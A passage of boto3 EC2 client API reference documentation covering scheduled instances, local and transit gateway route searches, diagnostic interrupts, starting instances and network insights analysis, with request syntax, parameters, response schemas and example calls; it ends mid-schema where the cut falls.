Describes an IPv6 address. + + * **Ipv6Address** _(string) --_ + + The IPv6 address. + + * **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + * **PrivateIpAddress** _(string) --_ + + The IPv4 address of the network interface within the subnet. + + * **PrivateIpAddressConfigs** _(list) --_ + + The private IPv4 addresses. + + * _(dict) --_ + + Describes a private IPv4 address for a Scheduled Instance. + + * **Primary** _(boolean) --_ + + Indicates whether this is a primary IPv4 address. Otherwise, this is a secondary IPv4 address. + + * **PrivateIpAddress** _(string) --_ + + The IPv4 address. + + * **SecondaryPrivateIpAddressCount** _(integer) --_ + + The number of secondary private IPv4 addresses. + + * **SubnetId** _(string) --_ + + The ID of the subnet. + + * **Placement** _(dict) --_ + + The placement information. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone. + + * **GroupName** _(string) --_ + + The name of the placement group. + + * **RamdiskId** _(string) --_ + + The ID of the RAM disk. + + * **SecurityGroupIds** _(list) --_ + + The IDs of the security groups. + + * _(string) --_ + * **SubnetId** _(string) --_ + + The ID of the subnet in which to launch the instances. + + * **UserData** _(string) --_ + + The base64-encoded MIME user data. + +* **ScheduledInstanceId** (_string_) -- + + **\[REQUIRED\]** + + The Scheduled Instance ID. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceIdSet': \[ + 'string', + \] +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of RunScheduledInstances. + + * **InstanceIdSet** _(list) --_ + + The IDs of the newly launched instances. + + * _(string) --_ + +**Examples** + +This example launches the specified Scheduled Instance in a VPC. + +response \= client.run\_scheduled\_instances( + InstanceCount\=1, + LaunchSpecification\={ + 'IamInstanceProfile': { + 'Name': 'my-iam-role', + }, + 'ImageId': 'ami-12345678', + 'InstanceType': 'c4.large', + 'KeyName': 'my-key-pair', + 'NetworkInterfaces': \[ + { + 'AssociatePublicIpAddress': True, + 'DeviceIndex': 0, + 'Groups': \[ + 'sg-12345678', + \], + 'SubnetId': 'subnet-12345678', + }, + \], + }, + ScheduledInstanceId\='sci-1234-1234-1234-1234-123456789012', +) + +print(response) + +Expected Output: + +{ + 'InstanceIdSet': \[ + 'i-1234567890abcdef0', + \], + 'ResponseMetadata': { + '...': '...', + }, +} + +This example launches the specified Scheduled Instance in EC2-Classic. + +response \= client.run\_scheduled\_instances( + InstanceCount\=1, + LaunchSpecification\={ + 'IamInstanceProfile': { + 'Name': 'my-iam-role', + }, + 'ImageId': 'ami-12345678', + 'InstanceType': 'c4.large', + 'KeyName': 'my-key-pair', + 'Placement': { + 'AvailabilityZone': 'us-west-2b', + }, + 'SecurityGroupIds': \[ + 'sg-12345678', + \], + }, + ScheduledInstanceId\='sci-1234-1234-1234-1234-123456789012', +) + +print(response) + +Expected Output: + +{ + 'InstanceIdSet': \[ + 'i-1234567890abcdef0', + \], + 'ResponseMetadata': { + '...': '...', + }, +} + +search\_local\_gateway\_routes(_\*\*kwargs_) + +Searches for routes in the specified local gateway route table. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/SearchLocalGatewayRoutes) + +**Request Syntax** + +response \= client.search\_local\_gateway\_routes( + LocalGatewayRouteTableId\='string', + Filters\=\[ + { + 'Name': 'string', + 'Values': \[ + 'string', + \] + }, + \], + MaxResults\=123, + NextToken\='string', + DryRun\=True|False +) + +Parameters + +* **LocalGatewayRouteTableId** (_string_) -- + + **\[REQUIRED\]** + + The ID of the local gateway route table. + +* **Filters** (_list_) -- + + **\[REQUIRED\]** + + One or more filters. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **NextToken** (_string_) -- The token for the next page of results. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Routes': \[ + { + 'DestinationCidrBlock': 'string', + 'LocalGatewayVirtualInterfaceGroupId': 'string', + 'Type': 'static'|'propagated', + 'State': 'pending'|'active'|'blackhole'|'deleting'|'deleted', + 'LocalGatewayRouteTableId': 'string', + 'LocalGatewayRouteTableArn': 'string', + 'OwnerId': 'string' + }, + \], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **Routes** _(list) --_ + + Information about the routes. + + * _(dict) --_ + + Describes a route for a local gateway route table. + + * **DestinationCidrBlock** _(string) --_ + + The CIDR block used for destination matches. + + * **LocalGatewayVirtualInterfaceGroupId** _(string) --_ + + The ID of the virtual interface group. + + * **Type** _(string) --_ + + The route type. + + * **State** _(string) --_ + + The state of the route. + + * **LocalGatewayRouteTableId** _(string) --_ + + The ID of the local gateway route table. + + * **LocalGatewayRouteTableArn** _(string) --_ + + The Amazon Resource Name (ARN) of the local gateway route table. + + * **OwnerId** _(string) --_ + + The AWS account ID that owns the local gateway route. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +search\_transit\_gateway\_multicast\_groups(_\*\*kwargs_) + +Searches one or more transit gateway multicast groups and returns the group membership information. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/SearchTransitGatewayMulticastGroups) + +**Request Syntax** + +response \= client.search\_transit\_gateway\_multicast\_groups( + TransitGatewayMulticastDomainId\='string', + Filters\=\[ + { + 'Name': 'string', + 'Values': \[ + 'string', + \] + }, + \], + MaxResults\=123, + NextToken\='string', + DryRun\=True|False +) + +Parameters + +* **TransitGatewayMulticastDomainId** (_string_) -- The ID of the transit gateway multicast domain. +* **Filters** (_list_) -- + + One or more filters. The possible values are: + + * group-ip-address - The IP address of the transit gateway multicast group. + * is-group-member - The resource is a group member. Valid values are true | false . + * is-group-source - The resource is a group source. Valid values are true | false . + * member-type - The member type. Valid values are igmp | static . + * resource-id - The ID of the resource. + * resource-type - The type of resource. Valid values are vpc | vpn | direct-connect-gateway | tgw-peering . + * source-type - The source type. Valid values are igmp | static . + * state - The state of the subnet association. Valid values are associated | associated | disassociated | disassociating . + * subnet-id - The ID of the subnet. + * transit-gateway-attachment-id - The id of the transit gateway attachment. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **NextToken** (_string_) -- The token for the next page of results. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'MulticastGroups': \[ + { + 'GroupIpAddress': 'string', + 'TransitGatewayAttachmentId': 'string', + 'SubnetId': 'string', + 'ResourceId': 'string', + 'ResourceType': 'vpc'|'vpn'|'direct-connect-gateway'|'connect'|'peering'|'tgw-peering', + 'ResourceOwnerId': 'string', + 'NetworkInterfaceId': 'string', + 'GroupMember': True|False, + 'GroupSource': True|False, + 'MemberType': 'static'|'igmp', + 'SourceType': 'static'|'igmp' + }, + \], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **MulticastGroups** _(list) --_ + + Information about the transit gateway multicast group. + + * _(dict) --_ + + Describes the transit gateway multicast group resources. + + * **GroupIpAddress** _(string) --_ + + The IP address assigned to the transit gateway multicast group. + + * **TransitGatewayAttachmentId** _(string) --_ + + The ID of the transit gateway attachment. + + * **SubnetId** _(string) --_ + + The ID of the subnet. + + * **ResourceId** _(string) --_ + + The ID of the resource. + + * **ResourceType** _(string) --_ + + The type of resource, for example a VPC attachment. + + * **ResourceOwnerId** _(string) --_ + + The ID of the AWS account that owns the transit gateway multicast domain group resource. + + * **NetworkInterfaceId** _(string) --_ + + The ID of the transit gateway attachment. + + * **GroupMember** _(boolean) --_ + + Indicates that the resource is a transit gateway multicast group member. + + * **GroupSource** _(boolean) --_ + + Indicates that the resource is a transit gateway multicast group member. + + * **MemberType** _(string) --_ + + The member type (for example, static ). + + * **SourceType** _(string) --_ + + The source type. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +search\_transit\_gateway\_routes(_\*\*kwargs_) + +Searches for routes in the specified transit gateway route table. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/SearchTransitGatewayRoutes) + +**Request Syntax** + +response \= client.search\_transit\_gateway\_routes( + TransitGatewayRouteTableId\='string', + Filters\=\[ + { + 'Name': 'string', + 'Values': \[ + 'string', + \] + }, + \], + MaxResults\=123, + DryRun\=True|False +) + +Parameters + +* **TransitGatewayRouteTableId** (_string_) -- + + **\[REQUIRED\]** + + The ID of the transit gateway route table. + +* **Filters** (_list_) -- + + **\[REQUIRED\]** + + One or more filters. The possible values are: + + * attachment.transit-gateway-attachment-id - The id of the transit gateway attachment. + * attachment.resource-id - The resource id of the transit gateway attachment. + * attachment.resource-type - The attachment resource type. Valid values are vpc | vpn | direct-connect-gateway | peering | connect . + * prefix-list-id - The ID of the prefix list. + * route-search.exact-match - The exact match of the specified filter. + * route-search.longest-prefix-match - The longest prefix that matches the route. + * route-search.subnet-of-match - The routes with a subnet that match the specified CIDR filter. + * route-search.supernet-of-match - The routes with a CIDR that encompass the CIDR filter. For example, if you have 10.0.1.0/29 and 10.0.1.0/31 routes in your route table and you specify supernet-of-match as 10.0.1.0/30, then the result returns 10.0.1.0/29. + * state - The state of the route (active | blackhole ). + * type - The type of route (propagated | static ). + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of routes to return. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Routes': \[ + { + 'DestinationCidrBlock': 'string', + 'PrefixListId': 'string', + 'TransitGatewayAttachments': \[ + { + 'ResourceId': 'string', + 'TransitGatewayAttachmentId': 'string', + 'ResourceType': 'vpc'|'vpn'|'direct-connect-gateway'|'connect'|'peering'|'tgw-peering' + }, + \], + 'Type': 'static'|'propagated', + 'State': 'pending'|'active'|'blackhole'|'deleting'|'deleted' + }, + \], + 'AdditionalRoutesAvailable': True|False +} + +**Response Structure** + +* _(dict) --_ + + * **Routes** _(list) --_ + + Information about the routes. + + * _(dict) --_ + + Describes a route for a transit gateway route table. + + * **DestinationCidrBlock** _(string) --_ + + The CIDR block used for destination matches. + + * **PrefixListId** _(string) --_ + + The ID of the prefix list used for destination matches. + + * **TransitGatewayAttachments** _(list) --_ + + The attachments. + + * _(dict) --_ + + Describes a route attachment. + + * **ResourceId** _(string) --_ + + The ID of the resource. + + * **TransitGatewayAttachmentId** _(string) --_ + + The ID of the attachment. + + * **ResourceType** _(string) --_ + + The resource type. Note that the tgw-peering resource type has been deprecated. + + * **Type** _(string) --_ + + The route type. + + * **State** _(string) --_ + + The state of the route. + + * **AdditionalRoutesAvailable** _(boolean) --_ + + Indicates whether there are additional routes available. + + +send\_diagnostic\_interrupt(_\*\*kwargs_) + +Sends a diagnostic interrupt to the specified Amazon EC2 instance to trigger a _kernel panic_ (on Linux instances), or a _blue screen_ /_stop error_ (on Windows instances). For instances based on Intel and AMD processors, the interrupt is received as a _non-maskable interrupt_ (NMI). + +In general, the operating system crashes and reboots when a kernel panic or stop error is triggered. The operating system can also be configured to perform diagnostic tasks, such as generating a memory dump file, loading a secondary kernel, or obtaining a call trace. + +Before sending a diagnostic interrupt to your instance, ensure that its operating system is configured to perform the required diagnostic tasks. + +For more information about configuring your operating system to generate a crash dump when a kernel panic or stop error occurs, see [Send a diagnostic interrupt](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/diagnostic-interrupt.html) (Linux instances) or [Send a Diagnostic Interrupt](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/diagnostic-interrupt.html) (Windows instances). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/SendDiagnosticInterrupt) + +**Request Syntax** + +response \= client.send\_diagnostic\_interrupt( + InstanceId\='string', + DryRun\=True|False +) + +Parameters + +* **InstanceId** (_string_) -- + + **\[REQUIRED\]** + + The ID of the instance. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +start\_instances(_\*\*kwargs_) + +Starts an Amazon EBS-backed instance that you've previously stopped. + +Instances that use Amazon EBS volumes as their root devices can be quickly stopped and started. When an instance is stopped, the compute resources are released and you are not billed for instance usage. However, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. You can restart your instance at any time. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +Before stopping an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM. + +Performing this operation on an instance that uses an instance store as its root device returns an error. + +For more information, see [Stopping instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Stop_Start.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/StartInstances) + +**Request Syntax** + +response \= client.start\_instances( + InstanceIds\=\[ + 'string', + \], + AdditionalInfo\='string', + DryRun\=True|False +) + +Parameters + +* **InstanceIds** (_list_) -- + + **\[REQUIRED\]** + + The IDs of the instances. + + * _(string) --_ +* **AdditionalInfo** (_string_) -- Reserved. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'StartingInstances': \[ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + \] +} + +**Response Structure** + +* _(dict) --_ + + * **StartingInstances** _(list) --_ + + Information about the started instances. + + * _(dict) --_ + + Describes an instance state change. + + * **CurrentState** _(dict) --_ + + The current state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **PreviousState** _(dict) --_ + + The previous state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + +**Examples** + +This example starts the specified EC2 instance. + +response \= client.start\_instances( + InstanceIds\=\[ + 'i-1234567890abcdef0', + \], +) + +print(response) + +Expected Output: + +{ + 'StartingInstances': \[ + { + 'CurrentState': { + 'Code': 0, + 'Name': 'pending', + }, + 'InstanceId': 'i-1234567890abcdef0', + 'PreviousState': { + 'Code': 80, + 'Name': 'stopped', + }, + }, + \], + 'ResponseMetadata': { + '...': '...', + }, +} + +start\_network\_insights\_analysis(_\*\*kwargs_) + +Starts analyzing the specified path. If the path is reachable, the operation returns the shortest feasible path. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/StartNetworkInsightsAnalysis) + +**Request Syntax** + +response \= client.start\_network\_insights\_analysis( + NetworkInsightsPathId\='string', + FilterInArns\=\[ + 'string', + \], + DryRun\=True|False, + TagSpecifications\=\[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': \[ + { + 'Key': 'string', + 'Value': 'string' + }, + \] + }, + \], + ClientToken\='string' +) + +Parameters + +* **NetworkInsightsPathId** (_string_) -- + + **\[REQUIRED\]** + + The ID of the path. + +* **FilterInArns** (_list_) -- + + The Amazon Resource Names (ARN) of the resources that the path must traverse. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **TagSpecifications** (_list_) -- + + The tags to apply. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id653)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id655)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **ClientToken** (_string_) -- + + **\[REQUIRED\]** + + Unique, case-sensitive identifier that you provide to ensure the idempotency of the request. For more information, see [How to Ensure Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + This field is autopopulated if not provided. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NetworkInsightsAnalysis': { + 'NetworkInsightsAnalysisId': 'string', + 'NetworkInsightsAnalysisArn': 'string', + 'NetworkInsightsPathId': 'string', + 'FilterInArns': \[ + 'string', + \], + 'StartDate': datetime(2015, 1, 1), + 'Status': 'running'|'succeeded'|'failed', + 'StatusMessage': 'string', + 'NetworkPathFound': True|False, + 'ForwardPathComponents': \[ + { + 'SequenceNumber': 123, + 'AclRule': { + 'Cidr': 'string', + 'Egress': True|False, + 'PortRange': { + 'From': 123, + 'To': 123 + }, + 'Protocol': 'string', + 'RuleAction': 'string', + 'RuleNumber': 123 + }, + 'Component': { + 'Id': 'string', + 'Arn': 'string' + }, + 'DestinationVpc': { + 'Id': 'string', + 'Arn': 'string' + }, + 'OutboundHeader': { + 'DestinationAddresses': \[ + 'string', + \], + 'DestinationPortRanges': \[ + { + 'From': 123, + 'To': 123 + }, + \], + 'Protocol': 'string', + 'SourceAddresses': \[ + 'string', + \], + 'SourcePortRanges': \[ + { + 'From': 123, + 'To': 123 + }, + \] + }, + 'InboundHeader': { + 'DestinationAddresses': \[ + 'string', + \], + 'DestinationPortRanges': \[ + { + 'From': 123, + 'To': 123 + }, + \], + 'Protocol': 'string', + 'SourceAddresses': \[ + 'string', + \], + 'SourcePortRanges': \[ + { + 'From': 123, + 'To': 123 + }, + \] + }, + 'RouteTableRoute': { + 'DestinationCidr': 'string', + 'DestinationPrefixListId': 'string', + 'EgressOnlyInternetGatewayId': 'string', + 'GatewayId': 'string', + 'InstanceId': 'string', + 'NatGatewayId': 'string', + 'NetworkInterfaceId': 'string', + 'Origin': 'string', + 'TransitGatewayId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + 'SecurityGroupRule': { + 'Cidr': 'string', + 'Direction': 'string', + 'SecurityGroupId': 'string', + 'PortRange': { + 'From': 123, + 'To': 123 + }, + 'PrefixListId': 'string', + 'Protocol': 'string' + }, + 'SourceVpc': { + 'Id': 'string', + 'Arn': 'string' + }, + 'Subnet': { + 'Id': 'string', + 'Arn': 'string' + }, + 'Vpc': { + 'Id': 'string', + 'Arn': 'string' + } + }, + \], + 'ReturnPathComponents': \[ + { + 'SequenceNumber': 123, + 'AclRule': { + 'Cidr': 'string', + 'Egress': True|False, + 'PortRange': { + 'From': 123, + 'To': 123 + }, + 'Protocol': 'string', + 'RuleAction': 'string', + 'RuleNumber': 123 + }, + 'Component': { + 'Id': 'string', + 'Arn': 'string' + }, + 'DestinationVpc': { + 'Id': 'string', + 'Arn': 'string' + }, + 'OutboundHeader': { + 'DestinationAddresses': \[ + 'string', + \], + 'DestinationPortRanges': \[ + { + 'From': 123, + 'To': 123 + }, + \], + 'Protocol': 'string', + 'SourceAddresses': \[ + 'string', + \], + 'SourcePortRanges': \[ + { + 'From': 123, + 'To': 123 + }, + \] + }, + 'InboundHeader': { + 'DestinationAddresses': \[ + 'string', + \], + 'DestinationPortRanges': \[ + { + 'From': 123, + 'To': 123 + }, + \], + 'Protocol': 'string', + 'SourceAddresses': \[ + 'string', + \], + 'SourcePortRanges': \[ + { + 'From': 123, + 'To': 123 + }, + \] + }, + 'RouteTableRoute': { + 'DestinationCidr': 'string', + 'DestinationPrefixListId': 'string', + 'EgressOnlyInternetGatewayId': 'string', + 'GatewayId': 'string', + 'InstanceId': 'string', + 'NatGatewayId': 'string', + 'NetworkInterfaceId': 'string', + 'Origin': 'string', + 'TransitGatewayId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + 'SecurityGroupRule': { + 'Cidr': 'string', + 'Direction': 'string', + 'SecurityGroupId': 'string', + 'PortRange': { + 'From': 123, + 'To': 123 + }, + 'PrefixListId': 'string', + 'Protocol': 'string' + }, + 'SourceVpc': { + 'Id': 'string', + 'Arn': 'string' + }, + 'Subnet': { + 'Id': 'string', + 'Arn': 'string' + }, + 'Vpc': { + 'Id': 'string', + 'Arn': 'string' + } + }, + \], + 'Explanations': \[ + { + 'Acl': { + 'Id': 'string', + 'Arn': 'string' + }, + 'AclRule': { + 'Cidr': 'string', + 'Egress': True|False, + 'PortRange': { + 'From': 123, + 'To': 123 + }, + 'Protocol': 'string', + 'RuleAction': 'string', + 'RuleNumber': 123 + }, + 'Address': 'string', + 'Addresses': \[ + 'string', + \], + 'AttachedTo': { + 'Id': 'string', + 'Arn': 'string' + }, + 'AvailabilityZones': \[ + 'string', + \], + 'Cidrs': \[ + 'string', + \], + 'Component': { + 'Id': 'string', + 'Arn': 'string' + }, + 'CustomerGateway': { + 'Id': 'string', + 'Arn': 'string' + }, + 'Destination': { + 'Id': 'string', + 'Arn': 'string' + }, + 'DestinationVpc': { + 'Id': 'string', + 'Arn': 'string' + }, + 'Direction': 'string', + 'ExplanationCode': 'string', + 'IngressRouteTable': { + 'Id': 'string', + 'Arn': 'string' + }, + 'InternetGateway': { + 'Id': 'string', + 'Arn': 'string' + }, + 'LoadBalancerArn': 'string', + 'ClassicLoadBalancerListener': { + 'LoadBalancerPort': 123, + 'InstancePort': 123 + }, + 'LoadBalancerListenerPort': 123, + 'LoadBalancerTarget': { + 'Address': 'string', + 'AvailabilityZone': 'string', + 'Instance': { + 'Id': 'string', + 'Arn': 'string' + }, + 'Port': 123 + }, + 'LoadBalancerTargetGroup': { + 'Id': 'string', + 'Arn': 'string' + }, + 'LoadBalancerTargetGroups': \[ + { + 'Id': 'string', + 'Arn': 'string' + }, + \], + 'LoadBalancerTargetPort': 123, + 'ElasticLoadBalancerListener': { + 'Id': 'string', + 'Arn': 'string' + }, + 'MissingComponent': 'string', + 'NatGateway': { + 'Id': 'string', + 'Arn': 'string' + }, + 'NetworkInterface': { + 'Id': 'string', + 'Arn': 'string' + }, + 'PacketField': 'string', + 'VpcPeeringConnection': { + 'Id': 'string', + 'Arn': 'string' + }, + 'Port': 123, + 'PortRanges': \[ + { + 'From': 123, + 'To': 123 + }, + \], + 'PrefixList': { + 'Id': 'string', + 'Arn': 'string' + }, + 'Protocols': \[ + 'string', + \], + 'RouteTableRoute': { + 'DestinationCidr': 'string', + 'DestinationPrefixListId': 'string', + 'EgressOnlyInternetGatewayId': 'string', + 'GatewayId': 'string', + 'InstanceId': 'string', + 'NatGatewayId': 'string', + 'NetworkInterfaceId': 'string', + 'Origin': 'string', + 'TransitGatewayId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + 'RouteTable': { + 'Id': 'string', + 'Arn': 'string' + }, + 'SecurityGroup': { + 'Id': 'string', + 'Arn': 'string' + }, + 'SecurityGroupRule': { + 'Cidr': 'string', + 'Direction': 'string', + 'SecurityGroupId': 'string', + 'PortRange': { + 'From': 123, + 'To': 123 + }, + 'PrefixListId': 'string', + 'Protocol': 'string' + }, + 'SecurityGroups': \[ + { + 'Id': 'string', + 'Arn': 'string' + }, + \], + 'SourceVpc': { + 'Id': 'string', + 'Arn': 'string' + }, + 'State': 'string', + 'Subnet': { + 'Id': 'string', + 'Arn': 'string' + }, + 'SubnetRouteTable': { + 'Id': 'string', + 'Arn': 'string' + }, + 'Vpc': { + 'Id': 'string', + 'Arn': 'string' + }, + 'VpcEndpoint': { + 'Id': 'string', + 'Arn': 'string' + }, + 'VpnConnection': { + 'Id': 'string', + 'Arn': 'string' + }, + 'VpnGateway': { + 'Id': 'string', + 'Arn': 'string' + } + }, + \], + 'AlternatePathHints': \[ + { + 'ComponentId': 'string', + 'ComponentArn': 'string' + }, + \], + 'Tags': \[ + { + 'Key': 'string', + 'Value': 'string' + }, + \] + } +} + +**Response Structure** + +* _(dict) --_ + + * **NetworkInsightsAnalysis** _(dict) --_ + + Information about the network insights analysis. + + * **NetworkInsightsAnalysisId** _(string) --_ + + The ID of the network insights analysis. + + * **NetworkInsightsAnalysisArn** _(string) --_ + + The Amazon Resource Name (ARN) of the network insights analysis. + + * **NetworkInsightsPathId** _(string) --_ + + The ID of the path. + + * **FilterInArns** _(list) --_ + + The Amazon Resource Names (ARN) of the AWS resources that the path must traverse. + + * _(string) --_ + * **StartDate** _(datetime) --_ + + The time the analysis started. + + * **Status** _(string) --_ + + The status of the network insights analysis. + + * **StatusMessage** _(string) --_ + + The status message, if the status is failed . + + * **NetworkPathFound** _(boolean) --_ + + Indicates whether the destination is reachable from the source. + + * **ForwardPathComponents** _(list) --_ + + The components in the path from source to destination. + + * 